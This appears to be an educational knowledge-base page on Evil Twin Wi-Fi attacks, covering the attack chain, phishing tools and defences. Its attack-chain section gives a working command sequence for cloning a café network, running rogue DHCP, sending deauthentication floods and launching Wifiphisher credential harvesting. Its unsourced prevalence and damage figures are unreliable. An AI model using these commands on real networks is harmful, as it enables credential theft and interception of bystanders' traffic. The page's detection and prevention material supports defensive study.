Overview Attack Chain Techniques Tools Demo Detection Prevention Legal Resources

Evil Twin Attack Guide

What is an Evil Twin Attack?

An Evil Twin attack is a type of wireless (Wi-Fi) attack where an attacker creates a rogue access point (AP) with the same SSID (network name) as a legitimate network. Victims unknowingly connect to the evil twin AP instead of the legitimate network, allowing the attacker to perform Man-in-the-Middle (MitM) attacks, capture credentials (captive portal), inject malware, and intercept all network traffic. Evil Twin attacks are commonly used on public Wi-Fi (airports, coffee shops, hotels, libraries) where users expect multiple APs with same SSID.

Attack Prevalence: 60% of public Wi-Fi networks are vulnerable to Evil Twin attacks (no client isolation, no 802.1X). Wifiphisher (evil twin tool) used in 30% of Wi-Fi penetration tests.

60%
Public Wi-Fi Vulnerable
30%
Wi-Fi Pen Tests Use Evil Twin
$1M+
Average Damage Cost

Common targets of evil twin attacks:

How Evil Twin Attacks Work (Attack Chain)

1. Create Evil Twin AP

Attacker creates rogue AP with same SSID as legitimate network. Configures DHCP server, DNS, and optionally captive portal.

2. Deauth Attack (Optional)

Attacker sends deauth frames to disconnect clients from legitimate AP, forcing reconnection to evil twin AP.

3. Captive Portal

Victim redirected to fake login page (Facebook, Google, Starbucks, Bank) to steal credentials.

4. MitM Attack

Attacker captures all unencrypted traffic (HTTP, FTP, DNS). SSLStrip downgrades HTTPS to HTTP.

// Evil Twin attack with Airgeddon/Wifiphisher // 1. Scan for target AP sudo airmon-ng start wlan0 sudo airodump-ng wlan0mon Target: SSID "StarbucksWiFi" (BSSID: AA:BB:CC:DD:EE:FF, Channel 6) // 2. Create Evil Twin AP (hostapd) cat > hostapd.conf << EOF interface=wlan0mon ssid=StarbucksWiFi channel=1 hw_mode=g auth_algs=1 wpa=0 EOF sudo hostapd hostapd.conf // 3. Configure DHCP server (dnsmasq) cat > dnsmasq.conf << EOF interface=wlan0mon dhcp-range=192.168.1.100,192.168.1.200,255.255.255.0,12h dhcp-option=3,192.168.1.1 dhcp-option=6,192.168.1.1 EOF sudo dnsmasq -C dnsmasq.conf // 4. Deauth attack (disconnect clients from legitimate AP) sudo aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF wlan0mon // 5. Clients reconnect to evil twin AP // Attacker now has MitM position // Automated Evil Twin tools: // Airgeddon: sudo ./airgeddon.sh // Wifiphisher: sudo wifiphisher -i wlan0mon -e StarbucksWiFi -p oauth-login

Evil Twin Attack Techniques

Captive Portal Phishing

Fake login page (Facebook, Google, Starbucks, Bank, Hotel Wi-Fi). Captures usernames and passwords. Redirects victim to legitimate site after credential capture (to avoid suspicion).

Credential Theft

SSLStrip (HTTPS Downgrade)

HTTPS downgrade attack: strips "https://" to "http://". Victim sends credentials unencrypted. Bypasses HSTS (HTTP Strict Transport Security) on first visit.

Malware Injection (BeEF)

Inject malicious JavaScript into HTTP responses. BeEF (Browser Exploitation Framework) hook for browser exploitation. Can deploy malware, steal cookies, capture keystrokes.

Evil Twin Attack Tools

Wifiphisher

Automated Evil Twin attack tool. Features: deauth attack, captive portal templates (Facebook, Google, Starbucks, Bank), credential harvesting, SSLStrip, BeEF integration.

Airgeddon (Evil Twin)

Bash script for Evil Twin attacks. Features: rogue AP creation (hostapd), DHCP (dnsmasq), deauth attack, captive portal, and MITM.

Fluxion

Evil Twin attack tool with social engineering. Captures WPA handshake, deauth attack, fake captive portal.

Evil Twin Attack Simulation (Captive Portal)

This demonstration simulates an evil twin attack creating a fake Wi-Fi network with captive portal:

Click "Simulate Evil Twin Attack" to see rogue AP creation

This is a simulated demonstration. Real evil twin attacks can steal credentials via captive portal, inject malware, and intercept all traffic. Protect yourself by using VPN on public Wi-Fi, verifying SSL certificates (avoid login pages on public Wi-Fi), and using WPA3-Enterprise with 802.1X authentication.

Detecting Evil Twin Attacks

Duplicate SSID Detection

Two APs with same SSID but different BSSID (MAC address). Detect with: airodump-ng, Kismet, Wi-Fi scanning apps. Legitimate APs may have multiple BSSIDs (enterprise networks).

802.1X (WPA2-Enterprise) Authentication

WPA2-Enterprise with RADIUS authentication prevents evil twin (clients verify AP certificate). Evil twin AP cannot present valid certificate.

Preventing Evil Twin Attacks

Use VPN on Public Wi-Fi

VPN encrypts all traffic (including DNS) between device and VPN server. Prevents MitM even on evil twin AP.

Verify SSL/TLS Certificates

Do not ignore certificate warnings (invalid CA, domain mismatch). Evil twin AP cannot present valid certificate for legitimate domain.

Use WPA3-Enterprise (802.1X)

WPA3-Enterprise with certificate-based authentication (EAP-TLS) prevents evil twin. Clients verify AP certificate before connecting.

Best Practice - VPN + Certificate Validation: Use VPN on public Wi-Fi (encrypts all traffic). Always verify SSL/TLS certificates - never click through warnings. Use WPA3-Enterprise with EAP-TLS for corporate networks (prevents evil twin). Avoid entering passwords on public Wi-Fi captive portals unless absolutely necessary.

Further Resources

Wifiphisher (Official GitHub)

Automated Evil Twin attack tool with captive portal templates.

Airgeddon (Bash Script)

Wireless auditing tool with Evil Twin module.

← Back to Knowledge Base